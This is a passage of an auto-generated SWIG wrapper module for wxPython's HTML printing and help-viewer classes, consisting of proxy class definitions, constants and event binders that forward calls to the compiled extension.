\"\"\"\n Render(self, int x, int y, wxArrayInt known_pagebreaks, int from=0, \n int dont_render=False, int to=INT_MAX) -> int\n \"\"\"\n return _html.HtmlDCRenderer_Render(*args, **kwargs)\n\n def GetTotalHeight(*args, **kwargs):\n \"\"\"GetTotalHeight(self) -> int\"\"\"\n return _html.HtmlDCRenderer_GetTotalHeight(*args, **kwargs)\n\n TotalHeight = property(GetTotalHeight,doc=\"See `GetTotalHeight`\") \n_html.HtmlDCRenderer_swigregister(HtmlDCRenderer)\n\nPAGE_ODD = _html.PAGE_ODD\nPAGE_EVEN = _html.PAGE_EVEN\nPAGE_ALL = _html.PAGE_ALL\nclass HtmlPrintout(_windows.Printout):\n \"\"\"Proxy of C++ HtmlPrintout class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String title=HtmlPrintoutTitleStr) -> HtmlPrintout\"\"\"\n _html.HtmlPrintout_swiginit(self,_html.new_HtmlPrintout(*args, **kwargs))\n def SetHtmlText(*args, **kwargs):\n \"\"\"SetHtmlText(self, String html, String basepath=EmptyString, bool isdir=True)\"\"\"\n return _html.HtmlPrintout_SetHtmlText(*args, **kwargs)\n\n def SetHtmlFile(*args, **kwargs):\n \"\"\"SetHtmlFile(self, String htmlfile)\"\"\"\n return _html.HtmlPrintout_SetHtmlFile(*args, **kwargs)\n\n def SetHeader(*args, **kwargs):\n \"\"\"SetHeader(self, String header, int pg=PAGE_ALL)\"\"\"\n return _html.HtmlPrintout_SetHeader(*args, **kwargs)\n\n def SetFooter(*args, **kwargs):\n \"\"\"SetFooter(self, String footer, int pg=PAGE_ALL)\"\"\"\n return _html.HtmlPrintout_SetFooter(*args, **kwargs)\n\n def SetFonts(*args, **kwargs):\n \"\"\"SetFonts(self, String normal_face, String fixed_face, PyObject sizes=None)\"\"\"\n return _html.HtmlPrintout_SetFonts(*args, **kwargs)\n\n def SetStandardFonts(*args, **kwargs):\n \"\"\"SetStandardFonts(self, int size=-1, String normal_face=EmptyString, String fixed_face=EmptyString)\"\"\"\n return _html.HtmlPrintout_SetStandardFonts(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"\n SetMargins(self, float top=25.2, float bottom=25.2, float left=25.2, \n float right=25.2, float spaces=5)\n \"\"\"\n return _html.HtmlPrintout_SetMargins(*args, **kwargs)\n\n def AddFilter(*args, **kwargs):\n \"\"\"AddFilter(wxHtmlFilter filter)\"\"\"\n return _html.HtmlPrintout_AddFilter(*args, **kwargs)\n\n AddFilter = staticmethod(AddFilter)\n def CleanUpStatics(*args, **kwargs):\n \"\"\"CleanUpStatics()\"\"\"\n return _html.HtmlPrintout_CleanUpStatics(*args, **kwargs)\n\n CleanUpStatics = staticmethod(CleanUpStatics)\n_html.HtmlPrintout_swigregister(HtmlPrintout)\n\ndef HtmlPrintout_AddFilter(*args, **kwargs):\n \"\"\"HtmlPrintout_AddFilter(wxHtmlFilter filter)\"\"\"\n return _html.HtmlPrintout_AddFilter(*args, **kwargs)\n\ndef HtmlPrintout_CleanUpStatics(*args):\n \"\"\"HtmlPrintout_CleanUpStatics()\"\"\"\n return _html.HtmlPrintout_CleanUpStatics(*args)\n\nclass HtmlEasyPrinting(_core.Object):\n \"\"\"Proxy of C++ HtmlEasyPrinting class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String name=HtmlPrintingTitleStr, Window parentWindow=None) -> HtmlEasyPrinting\"\"\"\n _html.HtmlEasyPrinting_swiginit(self,_html.new_HtmlEasyPrinting(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlEasyPrinting\n __del__ = lambda self : None;\n def PreviewFile(*args, **kwargs):\n \"\"\"PreviewFile(self, String htmlfile)\"\"\"\n return _html.HtmlEasyPrinting_PreviewFile(*args, **kwargs)\n\n def PreviewText(*args, **kwargs):\n \"\"\"PreviewText(self, String htmltext, String basepath=EmptyString)\"\"\"\n return _html.HtmlEasyPrinting_PreviewText(*args, **kwargs)\n\n def PrintFile(*args, **kwargs):\n \"\"\"PrintFile(self, String htmlfile)\"\"\"\n return _html.HtmlEasyPrinting_PrintFile(*args, **kwargs)\n\n def PrintText(*args, **kwargs):\n \"\"\"PrintText(self, String htmltext, String basepath=EmptyString)\"\"\"\n return _html.HtmlEasyPrinting_PrintText(*args, **kwargs)\n\n def PageSetup(*args, **kwargs):\n \"\"\"PageSetup(self)\"\"\"\n return _html.HtmlEasyPrinting_PageSetup(*args, **kwargs)\n\n def SetHeader(*args, **kwargs):\n \"\"\"SetHeader(self, String header, int pg=PAGE_ALL)\"\"\"\n return _html.HtmlEasyPrinting_SetHeader(*args, **kwargs)\n\n def SetFooter(*args, **kwargs):\n \"\"\"SetFooter(self, String footer, int pg=PAGE_ALL)\"\"\"\n return _html.HtmlEasyPrinting_SetFooter(*args, **kwargs)\n\n def SetFonts(*args, **kwargs):\n \"\"\"SetFonts(self, String normal_face, String fixed_face, PyObject sizes=None)\"\"\"\n return _html.HtmlEasyPrinting_SetFonts(*args, **kwargs)\n\n def SetStandardFonts(*args, **kwargs):\n \"\"\"SetStandardFonts(self, int size=-1, String normal_face=EmptyString, String fixed_face=EmptyString)\"\"\"\n return _html.HtmlEasyPrinting_SetStandardFonts(*args, **kwargs)\n\n def GetPrintData(*args, **kwargs):\n \"\"\"GetPrintData(self) -> PrintData\"\"\"\n return _html.HtmlEasyPrinting_GetPrintData(*args, **kwargs)\n\n def GetPageSetupData(*args, **kwargs):\n \"\"\"GetPageSetupData(self) -> PageSetupDialogData\"\"\"\n return _html.HtmlEasyPrinting_GetPageSetupData(*args, **kwargs)\n\n def GetParentWindow(*args, **kwargs):\n \"\"\"GetParentWindow(self) -> Window\"\"\"\n return _html.HtmlEasyPrinting_GetParentWindow(*args, **kwargs)\n\n def SetParentWindow(*args, **kwargs):\n \"\"\"SetParentWindow(self, Window window)\"\"\"\n return _html.HtmlEasyPrinting_SetParentWindow(*args, **kwargs)\n\n PageSetupData = property(GetPageSetupData,doc=\"See `GetPageSetupData`\") \n PrintData = property(GetPrintData,doc=\"See `GetPrintData`\") \n_html.HtmlEasyPrinting_swigregister(HtmlEasyPrinting)\n\n#---------------------------------------------------------------------------\n\nclass HtmlBookRecord(object):\n \"\"\"Proxy of C++ HtmlBookRecord class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String bookfile, String basepath, String title, String start) -> HtmlBookRecord\"\"\"\n _html.HtmlBookRecord_swiginit(self,_html.new_HtmlBookRecord(*args, **kwargs))\n def GetBookFile(*args, **kwargs):\n \"\"\"GetBookFile(self) -> String\"\"\"\n return _html.HtmlBookRecord_GetBookFile(*args, **kwargs)\n\n def GetTitle(*args, **kwargs):\n \"\"\"GetTitle(self) -> String\"\"\"\n return _html.HtmlBookRecord_GetTitle(*args, **kwargs)\n\n def GetStart(*args, **kwargs):\n \"\"\"GetStart(self) -> String\"\"\"\n return _html.HtmlBookRecord_GetStart(*args, **kwargs)\n\n def GetBasePath(*args, **kwargs):\n \"\"\"GetBasePath(self) -> String\"\"\"\n return _html.HtmlBookRecord_GetBasePath(*args, **kwargs)\n\n def SetContentsRange(*args, **kwargs):\n \"\"\"SetContentsRange(self, int start, int end)\"\"\"\n return _html.HtmlBookRecord_SetContentsRange(*args, **kwargs)\n\n def GetContentsStart(*args, **kwargs):\n \"\"\"GetContentsStart(self) -> int\"\"\"\n return _html.HtmlBookRecord_GetContentsStart(*args, **kwargs)\n\n def GetContentsEnd(*args, **kwargs):\n \"\"\"GetContentsEnd(self) -> int\"\"\"\n return _html.HtmlBookRecord_GetContentsEnd(*args, **kwargs)\n\n def SetTitle(*args, **kwargs):\n \"\"\"SetTitle(self, String title)\"\"\"\n return _html.HtmlBookRecord_SetTitle(*args, **kwargs)\n\n def SetBasePath(*args, **kwargs):\n \"\"\"SetBasePath(self, String path)\"\"\"\n return _html.HtmlBookRecord_SetBasePath(*args, **kwargs)\n\n def SetStart(*args, **kwargs):\n \"\"\"SetStart(self, String start)\"\"\"\n return _html.HtmlBookRecord_SetStart(*args, **kwargs)\n\n def GetFullPath(*args, **kwargs):\n \"\"\"GetFullPath(self, String page) -> String\"\"\"\n return _html.HtmlBookRecord_GetFullPath(*args, **kwargs)\n\n BasePath = property(GetBasePath,SetBasePath,doc=\"See `GetBasePath` and `SetBasePath`\") \n BookFile = property(GetBookFile,doc=\"See `GetBookFile`\") \n ContentsEnd = property(GetContentsEnd,doc=\"See `GetContentsEnd`\") \n ContentsStart = property(GetContentsStart,doc=\"See `GetContentsStart`\") \n FullPath = property(GetFullPath,doc=\"See `GetFullPath`\") \n Start = property(GetStart,SetStart,doc=\"See `GetStart` and `SetStart`\") \n Title = property(GetTitle,SetTitle,doc=\"See `GetTitle` and `SetTitle`\") \n_html.HtmlBookRecord_swigregister(HtmlBookRecord)\n\nclass HtmlSearchStatus(object):\n \"\"\"Proxy of C++ HtmlSearchStatus class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Search(*args, **kwargs):\n \"\"\"Search(self) -> bool\"\"\"\n return _html.HtmlSearchStatus_Search(*args, **kwargs)\n\n def IsActive(*args, **kwargs):\n \"\"\"IsActive(self) -> bool\"\"\"\n return _html.HtmlSearchStatus_IsActive(*args, **kwargs)\n\n def GetCurIndex(*args, **kwargs):\n \"\"\"GetCurIndex(self) -> int\"\"\"\n return _html.HtmlSearchStatus_GetCurIndex(*args, **kwargs)\n\n def GetMaxIndex(*args, **kwargs):\n \"\"\"GetMaxIndex(self) -> int\"\"\"\n return _html.HtmlSearchStatus_GetMaxIndex(*args, **kwargs)\n\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _html.HtmlSearchStatus_GetName(*args, **kwargs)\n\n CurIndex = property(GetCurIndex,doc=\"See `GetCurIndex`\") \n MaxIndex = property(GetMaxIndex,doc=\"See `GetMaxIndex`\") \n Name = property(GetName,doc=\"See `GetName`\") \n_html.HtmlSearchStatus_swigregister(HtmlSearchStatus)\n\nclass HtmlHelpData(object):\n \"\"\"Proxy of C++ HtmlHelpData class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlHelpData\"\"\"\n _html.HtmlHelpData_swiginit(self,_html.new_HtmlHelpData(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlHelpData\n __del__ = lambda self : None;\n def SetTempDir(*args, **kwargs):\n \"\"\"SetTempDir(self, String path)\"\"\"\n return _html.HtmlHelpData_SetTempDir(*args, **kwargs)\n\n def AddBook(*args, **kwargs):\n \"\"\"AddBook(self, String book) -> bool\"\"\"\n return _html.HtmlHelpData_AddBook(*args, **kwargs)\n\n def FindPageByName(*args, **kwargs):\n \"\"\"FindPageByName(self, String page) -> String\"\"\"\n return _html.HtmlHelpData_FindPageByName(*args, **kwargs)\n\n def FindPageById(*args, **kwargs):\n \"\"\"FindPageById(self, int id) -> String\"\"\"\n return _html.HtmlHelpData_FindPageById(*args, **kwargs)\n\n def GetBookRecArray(*args, **kwargs):\n \"\"\"GetBookRecArray(self) -> wxHtmlBookRecArray\"\"\"\n return _html.HtmlHelpData_GetBookRecArray(*args, **kwargs)\n\n BookRecArray = property(GetBookRecArray,doc=\"See `GetBookRecArray`\") \n_html.HtmlHelpData_swigregister(HtmlHelpData)\n\nHF_TOOLBAR = _html.HF_TOOLBAR\nHF_CONTENTS = _html.HF_CONTENTS\nHF_INDEX = _html.HF_INDEX\nHF_SEARCH = _html.HF_SEARCH\nHF_BOOKMARKS = _html.HF_BOOKMARKS\nHF_OPEN_FILES = _html.HF_OPEN_FILES\nHF_PRINT = _html.HF_PRINT\nHF_FLAT_TOOLBAR = _html.HF_FLAT_TOOLBAR\nHF_MERGE_BOOKS = _html.HF_MERGE_BOOKS\nHF_ICONS_BOOK = _html.HF_ICONS_BOOK\nHF_ICONS_BOOK_CHAPTER = _html.HF_ICONS_BOOK_CHAPTER\nHF_ICONS_FOLDER = _html.HF_ICONS_FOLDER\nHF_DEFAULT_STYLE = _html.HF_DEFAULT_STYLE\nHF_EMBEDDED = _html.HF_EMBEDDED\nHF_DIALOG = _html.HF_DIALOG\nHF_FRAME = _html.HF_FRAME\nHF_MODAL = _html.HF_MODAL\nID_HTML_PANEL = _html.ID_HTML_PANEL\nID_HTML_BACK = _html.ID_HTML_BACK\nID_HTML_FORWARD = _html.ID_HTML_FORWARD\nID_HTML_UPNODE = _html.ID_HTML_UPNODE\nID_HTML_UP = _html.ID_HTML_UP\nID_HTML_DOWN = _html.ID_HTML_DOWN\nID_HTML_PRINT = _html.ID_HTML_PRINT\nID_HTML_OPENFILE = _html.ID_HTML_OPENFILE\nID_HTML_OPTIONS = _html.ID_HTML_OPTIONS\nID_HTML_BOOKMARKSLIST = _html.ID_HTML_BOOKMARKSLIST\nID_HTML_BOOKMARKSADD = _html.ID_HTML_BOOKMARKSADD\nID_HTML_BOOKMARKSREMOVE = _html.ID_HTML_BOOKMARKSREMOVE\nID_HTML_TREECTRL = _html.ID_HTML_TREECTRL\nID_HTML_INDEXPAGE = _html.ID_HTML_INDEXPAGE\nID_HTML_INDEXLIST = _html.ID_HTML_INDEXLIST\nID_HTML_INDEXTEXT = _html.ID_HTML_INDEXTEXT\nID_HTML_INDEXBUTTON = _html.ID_HTML_INDEXBUTTON\nID_HTML_INDEXBUTTONALL = _html.ID_HTML_INDEXBUTTONALL\nID_HTML_NOTEBOOK = _html.ID_HTML_NOTEBOOK\nID_HTML_SEARCHPAGE = _html.ID_HTML_SEARCHPAGE\nID_HTML_SEARCHTEXT = _html.ID_HTML_SEARCHTEXT\nID_HTML_SEARCHLIST = _html.ID_HTML_SEARCHLIST\nID_HTML_SEARCHBUTTON = _html.ID_HTML_SEARCHBUTTON\nID_HTML_SEARCHCHOICE = _html.ID_HTML_SEARCHCHOICE\nID_HTML_COUNTINFO = _html.ID_HTML_COUNTINFO\nclass HtmlHelpWindow(_core.Window):\n \"\"\"Proxy of C++ HtmlHelpWindow class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int ?, Point pos=DefaultPosition, Size size=DefaultSize, \n int style=wxTAB_TRAVERSAL|wxNO_BORDER, \n int helpStyle=HF_DEFAULT_STYLE, \n HtmlHelpData data=None) -> HtmlHelpWindow\n \"\"\"\n _html.HtmlHelpWindow_swiginit(self,_html.new_HtmlHelpWindow(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n int style=wxTAB_TRAVERSAL|wxNO_BORDER, \n int helpStyle=HF_DEFAULT_STYLE) -> bool\n \"\"\"\n return _html.HtmlHelpWindow_Create(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> HtmlHelpData\"\"\"\n return _html.HtmlHelpWindow_GetData(*args, **kwargs)\n\n def GetController(*args, **kwargs):\n \"\"\"GetController(self) -> HtmlHelpController\"\"\"\n return _html.HtmlHelpWindow_GetController(*args, **kwargs)\n\n def SetController(*args, **kwargs):\n \"\"\"SetController(self, HtmlHelpController controller)\"\"\"\n return _html.HtmlHelpWindow_SetController(*args, **kwargs)\n\n def Display(*args, **kwargs):\n \"\"\"Display(self, String x) -> bool\"\"\"\n return _html.HtmlHelpWindow_Display(*args, **kwargs)\n\n def DisplayID(*args, **kwargs):\n \"\"\"DisplayID(self, int id) -> bool\"\"\"\n return _html.HtmlHelpWindow_DisplayID(*args, **kwargs)\n\n def DisplayContents(*args, **kwargs):\n \"\"\"DisplayContents(self) -> bool\"\"\"\n return _html.HtmlHelpWindow_DisplayContents(*args, **kwargs)\n\n def DisplayIndex(*args, **kwargs):\n \"\"\"DisplayIndex(self) -> bool\"\"\"\n return _html.HtmlHelpWindow_DisplayIndex(*args, **kwargs)\n\n def KeywordSearch(*args, **kwargs):\n \"\"\"KeywordSearch(self, String keyword, wxHelpSearchMode mode=wxHELP_SEARCH_ALL) -> bool\"\"\"\n return _html.HtmlHelpWindow_KeywordSearch(*args, **kwargs)\n\n def UseConfig(*args, **kwargs):\n \"\"\"UseConfig(self, ConfigBase config, String rootpath=wxEmptyString)\"\"\"\n return _html.HtmlHelpWindow_UseConfig(*args, **kwargs)\n\n def ReadCustomization(*args, **kwargs):\n \"\"\"ReadCustomization(self, ConfigBase cfg, String path=wxEmptyString)\"\"\"\n return _html.HtmlHelpWindow_ReadCustomization(*args, **kwargs)\n\n def WriteCustomization(*args, **kwargs):\n \"\"\"WriteCustomization(self, ConfigBase cfg, String path=wxEmptyString)\"\"\"\n return _html.HtmlHelpWindow_WriteCustomization(*args, **kwargs)\n\n def NotifyPageChanged(*args, **kwargs):\n \"\"\"NotifyPageChanged(self)\"\"\"\n return _html.HtmlHelpWindow_NotifyPageChanged(*args, **kwargs)\n\n def RefreshLists(*args, **kwargs):\n \"\"\"RefreshLists(self)\"\"\"\n return _html.HtmlHelpWindow_RefreshLists(*args, **kwargs)\n\n def GetHtmlWindow(*args, **kwargs):\n \"\"\"GetHtmlWindow(self) -> HtmlWindow\"\"\"\n return _html.HtmlHelpWindow_GetHtmlWindow(*args, **kwargs)\n\n def GetSplitterWindow(*args, **kwargs):\n \"\"\"GetSplitterWindow(self) -> SplitterWindow\"\"\"\n return _html.HtmlHelpWindow_GetSplitterWindow(*args, **kwargs)\n\n def GetToolBar(*args, **kwargs):\n \"\"\"GetToolBar(self) -> wxToolBar\"\"\"\n return _html.HtmlHelpWindow_GetToolBar(*args, **kwargs)\n\n def GetCfgData(*args, **kwargs):\n \"\"\"GetCfgData(self) -> wxHtmlHelpFrameCfg\"\"\"\n return _html.HtmlHelpWindow_GetCfgData(*args, **kwargs)\n\n def GetTreeCtrl(*args, **kwargs):\n \"\"\"GetTreeCtrl(self) -> wxPyTreeCtrl\"\"\"\n return _html.HtmlHelpWindow_GetTreeCtrl(*args, **kwargs)\n\n CfgData = property(GetCfgData,doc=\"See `GetCfgData`\") \n Controller = property(GetController,SetController,doc=\"See `GetController` and `SetController`\") \n Data = property(GetData,doc=\"See `GetData`\") \n HtmlWindow = property(GetHtmlWindow,doc=\"See `GetHtmlWindow`\") \n SplitterWindow = property(GetSplitterWindow,doc=\"See `GetSplitterWindow`\") \n ToolBar = property(GetToolBar,doc=\"See `GetToolBar`\") \n TreeCtrl = property(GetTreeCtrl,doc=\"See `GetTreeCtrl`\") \n_html.HtmlHelpWindow_swigregister(HtmlHelpWindow)\n\ndef PreHtmlHelpWindow(*args, **kwargs):\n \"\"\"PreHtmlHelpWindow(HtmlHelpData data=None) -> HtmlHelpWindow\"\"\"\n val = _html.new_PreHtmlHelpWindow(*args, **kwargs)\n self._setOORInfo(self)\n return val\n\nwxEVT_COMMAND_HTML_CELL_CLICKED = _html.wxEVT_COMMAND_HTML_CELL_CLICKED\nwxEVT_COMMAND_HTML_CELL_HOVER = _html.wxEVT_COMMAND_HTML_CELL_HOVER\nwxEVT_COMMAND_HTML_LINK_CLICKED = _html.wxEVT_COMMAND_HTML_LINK_CLICKED\nclass HtmlCellEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ HtmlCellEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType, int id, HtmlCell cell, Point pt, \n MouseEvent ev) -> HtmlCellEvent\n \"\"\"\n _html.HtmlCellEvent_swiginit(self,_html.new_HtmlCellEvent(*args, **kwargs))\n def GetCell(*args, **kwargs):\n \"\"\"GetCell(self) -> HtmlCell\"\"\"\n return _html.HtmlCellEvent_GetCell(*args, **kwargs)\n\n def GetPoint(*args, **kwargs):\n \"\"\"GetPoint(self) -> Point\"\"\"\n return _html.HtmlCellEvent_GetPoint(*args, **kwargs)\n\n def GetMouseEvent(*args, **kwargs):\n \"\"\"GetMouseEvent(self) -> MouseEvent\"\"\"\n return _html.HtmlCellEvent_GetMouseEvent(*args, **kwargs)\n\n def SetLinkClicked(*args, **kwargs):\n \"\"\"SetLinkClicked(self, bool linkclicked)\"\"\"\n return _html.HtmlCellEvent_SetLinkClicked(*args, **kwargs)\n\n def GetLinkClicked(*args, **kwargs):\n \"\"\"GetLinkClicked(self) -> bool\"\"\"\n return _html.HtmlCellEvent_GetLinkClicked(*args, **kwargs)\n\n_html.HtmlCellEvent_swigregister(HtmlCellEvent)\n\nclass HtmlLinkEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ HtmlLinkEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int id, HtmlLinkInfo linkinfo) -> HtmlLinkEvent\"\"\"\n _html.HtmlLinkEvent_swiginit(self,_html.new_HtmlLinkEvent(*args, **kwargs))\n def GetLinkInfo(*args, **kwargs):\n \"\"\"GetLinkInfo(self) -> HtmlLinkInfo\"\"\"\n return _html.HtmlLinkEvent_GetLinkInfo(*args, **kwargs)\n\n_html.HtmlLinkEvent_swigregister(HtmlLinkEvent)\n\nEVT_HTML_CELL_CLICKED = wx.PyEventBinder( wxEVT_COMMAND_HTML_CELL_CLICKED, 1 )\nEVT_HTML_CELL_HOVER = wx.PyEventBinder( wxEVT_COMMAND_HTML_CELL_HOVER, 1 )\nEVT_HTML_LINK_CLICKED = wx.PyEventBinder( wxEVT_COMMAND_HTML_LINK_CLICKED, 1 )\n\nclass HtmlHelpFrame(_windows.Frame):\n \"\"\"Proxy of C++ HtmlHelpFrame class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int ?, String title=EmptyString, int style=wxHF_DEFAULTSTYLE, \n HtmlHelpData data=None, \n ConfigBase config=None, String rootpath=EmptyString) -> HtmlHelpFrame\n \"\"\"\n _html.HtmlHelpFrame_swiginit(self,_html.new_HtmlHelpFrame(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, String title=EmptyString, int style=HF_DEFAULT_STYLE, \n ConfigBase config=None, \n String rootpath=EmptyString) -> bool\n \"\"\"\n return _html.HtmlHelpFrame_Create(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> HtmlHelpData\"\"\"\n return _html.HtmlHelpFrame_GetData(*args, **kwargs)\n\n def SetTitleFormat(*args, **kwargs):\n \"\"\"SetTitleFormat(self, String format)\"\"\"\n return _html.HtmlHelpFrame_SetTitleFormat(*args, **kwargs)\n\n def AddGrabIfNeeded(*args, **kwargs):\n \"\"\"AddGrabIfNeeded(self)\"\"\"\n return _html.HtmlHelpFrame_AddGrabIfNeeded(*args, **kwargs)\n\n def GetController(*args, **kwargs):\n \"\"\"GetController(self) -> HtmlHelpController\"\"\"\n return _html.HtmlHelpFrame_GetController(*args, **kwargs)\n\n def SetController(*args, **kwargs):\n \"\"\"SetController(self, HtmlHelpController controller)\"\"\"\n return _html.HtmlHelpFrame_SetController(*args, **kwargs)\n\n def GetHelpWindow(*args, **kwargs):\n \"\"\"GetHelpWindow(self) -> HtmlHelpWindow\"\"\"\n return _html.HtmlHelpFrame_GetHelpWindow(*args, **kwargs)\n\n # For compatibility from before the refactor\n def Display(self, x):\n return self.GetHelpWindow().Display(x)\n def DisplayID(self, x):\n return self.GetHelpWindow().DisplayID(id)\n def DisplayContents(self):\n return self.GetHelpWindow().DisplayContents()\n def DisplayIndex(self):\n return self.GetHelpWindow().DisplayIndex()\n\n def KeywordSearch(self, keyword):\n return self.GetHelpWindow().KeywordSearch(keyword)\n\n def UseConfig(self, config, rootpath=\"\"):\n return self.GetHelpWindow().UseConfig(config, rootpath)\n def ReadCustomization(self, config, rootpath=\"\"):\n return self.GetHelpWindow().ReadCustomization(config, rootpath)\n def WriteCustomization(self, config, rootpath=\"\"):\n return self.GetHelpWindow().WriteCustomization(config, rootpath)\n\n Controller = property(GetController,SetController,doc=\"See `GetController` and `SetController`\") \n Data = property(GetData,doc=\"See `GetData`\") \n HelpWindow = property(GetHelpWindow,doc=\"See `GetHelpWindow`\") \n_html.HtmlHelpFrame_swigregister(HtmlHelpFrame)\n\ndef PreHtmlHelpFrame(*args, **kwargs):\n \"\"\"PreHtmlHelpFrame(HtmlHelpData data=None) -> HtmlHelpFrame\"\"\"\n val = _html.new_PreHtmlHelpFrame(*args, **kwargs)\n self._setOORInfo(self)\n return val\n\nclass HtmlHelpDialog(_windows.Dialog):\n \"\"\"Proxy of C++ HtmlHelpDialog class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int ?, String title=EmptyString, int style=HF_DEFAULT_STYLE, \n HtmlHelpData data=None) -> HtmlHelpDialog\n \"\"\"\n _html.HtmlHelpDialog_swiginit(self,_html.new_HtmlHelpDialog(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"Create(self, Window parent, int id, String title=EmptyString, int style=HF_DEFAULT_STYLE) -> bool\"\"\"\n return _html.HtmlHelpDialog_Create(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> HtmlHelpData\"\"\"\n return _html.HtmlHelpDialog_GetData(*args, **kwargs)\n\n def GetController(*args, **kwargs):\n \"\"\"GetController(self) -> HtmlHelpController\"\"\"\n return _html.HtmlHelpDialog_GetController(*args, **kwargs)\n\n def SetController(*args, **kwargs):\n \"\"\"SetController(self, HtmlHelpController controller)\"\"\"\n return _html.HtmlHelpDialog_SetController(*args, **kwargs)\n\n def GetHelpWindow(*args, **kwargs):\n \"\"\"GetHelpWindow(self) -> HtmlHelpWindow\"\"\"\n return _html.HtmlHelpDialog_GetHelpWindow(*args, **kwargs)\n\n def SetTitleFormat(*args, **kwargs):\n \"\"\"SetTitleFormat(self, String format)\"\"\"\n return _html.HtmlHelpDialog_SetTitleFormat(*args, **kwargs)\n\n Controller = property(GetController,SetController,doc=\"See `GetController` and `SetController`\") \n Data = property(GetData,doc=\"See `GetData`\") \n HelpWindow = property(GetHelpWindow,doc=\"See `GetHelpWindow`\") \n_html.HtmlHelpDialog_swigregister(HtmlHelpDialog)\n\ndef PreHtmlHelpDialog(*args, **kwargs):\n \"\"\"PreHtmlHelpDialog(HtmlHelpData data=None) -> HtmlHelpDialog\"\"\"\n val = _html.new_PreHtmlHelpDialog(*args, **kwargs)\n self._setOORInfo(self)\n return val\n\nclass HelpControllerBase(_core.Object):\n \"\"\"Proxy of C++ HelpControllerBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Initialize(*args):\n \"\"\"\n Initialize(self, String file, int server) -> bool\n Initialize(self, String file) -> bool\n \"\"\"\n return _html.HelpControllerBase_Initialize(*args)\n\n def SetViewer(*args, **kwargs):\n \"\"\"SetViewer(self, String viewer, long flags=0)\"\"\"\n return _html.HelpControllerBase_SetViewer(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String file=wxEmptyString) -> bool\"\"\"\n return _html.HelpControllerBase_LoadFile(*args, **kwargs)\n\n def DisplayContents(*args, **kwargs):\n \"\"\"DisplayContents(self) -> bool\"\"\"\n return _html.HelpControllerBase_DisplayContents(*args, **kwargs)\n\n def DisplayContextPopup(*args, **kwargs):\n \"\"\"DisplayContextPopup(self, int contextId) -> bool\"\"\"\n return _html.HelpControllerBase_DisplayContextPopup(*args, **kwargs)\n\n def DisplayTextPopup(*args, **kwargs):\n \"\"\"DisplayTextPopup(self, String text, Point pos) -> bool\"\"\"\n return _html.HelpControllerBase_DisplayTextPopup(*args, **kwargs)\n\n def DisplaySection(*args):\n \"\"\"\n DisplaySection(self, int sectionNo) -> bool\n DisplaySection(self, String section) -> bool\n \"\"\"\n return _html.HelpControllerBase_DisplaySection(*args)\n\n def DisplayBlock(*args, **kwargs):\n \"\"\"DisplayBlock(self, long blockNo) -> bool\"\"\"\n return _html.HelpControllerBase_DisplayBlock(*args, **kwargs)\n\n def KeywordSearch(*args, **kwargs):\n \"\"\"KeywordSearch(self, String k, wxHelpSearchMode mode=wxHELP_SEARCH_ALL) -> bool\"\"\"\n return _html.HelpControllerBase_KeywordSearch(*args, **kwargs)\n\n def SetFrameParameters(*args, **kwargs):\n \"\"\"\n SetFrameParameters(self, String title, Size size, Point pos=DefaultPosition, \n bool newFrameEachTime=False)\n \"\"\"\n return _html.HelpControllerBase_SetFrameParameters(*args, **kwargs)\n\n def Quit(*args, **kwargs):\n \"\"\"Quit(self) -> bool\"\"\"\n return _html.HelpControllerBase_Quit(*args, **kwargs)\n\n def OnQuit(*args, **kwargs):\n 